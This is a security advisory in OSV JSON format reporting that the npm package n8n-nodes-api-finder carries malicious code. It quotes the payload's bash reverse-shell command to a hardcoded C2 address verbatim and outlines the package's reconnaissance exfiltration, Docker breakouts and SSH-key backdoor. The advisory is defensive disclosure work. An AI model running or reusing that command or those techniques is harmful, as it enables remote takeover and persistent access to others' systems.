n8n-nodes-api-finder

{"modified":"2026-07-22T21:05:27Z","published":"2026-07-17T12:16:35Z","schema_version":"1.7.4","id":"MAL-2026-10774","summary":"Malicious code in n8n-nodes-api-finder (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c)\nPackage advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3<>/dev/tcp/103.27.109.184/8895; bash -i <&3 >&3 2>&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).\n\n## Source: ossf-package-analysis (2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44)\nThe OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"n8n-nodes-api-finder"},"versions":["1.0.0","1.0.2","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"e8d6fa7ec31ff9fca1502d4104bfa869f0563088ac44641abb638ae7f0d09b98","tlsh":"96511edabeb85620b539b0dc26db34063987c10a0682fa949067cb217e8e7cd86395e5"},{"path":"package.json","sha256":"431ceca93a98de94f963a484bcb2ef2394d46b672183770fe7c40b2a73a67739","tlsh":"26d023150e32da3310c49d5119678615366d0cb69484f909a7471415439d6b715fe71c"}],"package_integrity":[{"filename":"n8n-nodes-api-finder-1.0.2.tgz","hashes":{"sha1":"a535bd89a0e68b838bd933d3f332bfc078ff7992","sha512_sri":"sha512-WypoxmrJXKdRbd6zIXlH4PpP0Bwdvs4M9G1rfHa4h8sD25FzVgCLp2ieoN927uZp0dmBDSNlUHo4p9zo/1RWAg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44","import_time":"2026-07-18T07:10:20.589055769Z","modified_time":"2026-07-17T12:16:35Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c","import_time":"2026-07-22T20:31:08.03939108Z","id":"IN-MAL-2026-010804","modified_time":"2026-07-22T20:28:11Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"37c63c31d4d7822e51eea84df622f8615bbe9e98204c4b10ac86db24870df4a7","import_time":"2026-07-22T20:59:14.308361978Z","id":"IN-MAL-2026-010832","modified_time":"2026-07-22T20:37:06Z","versions":["1.0.1"]},{"source":"amazon-inspector","sha256":"c4ee6a693281ce3bd9d134cf5c680e570a61f380589b96cec483c1094d770a22","import_time":"2026-07-22T20:59:15.766181815Z","id":"IN-MAL-2026-010844","modified_time":"2026-07-22T20:38:42Z","versions":["1.0.0"]}]}}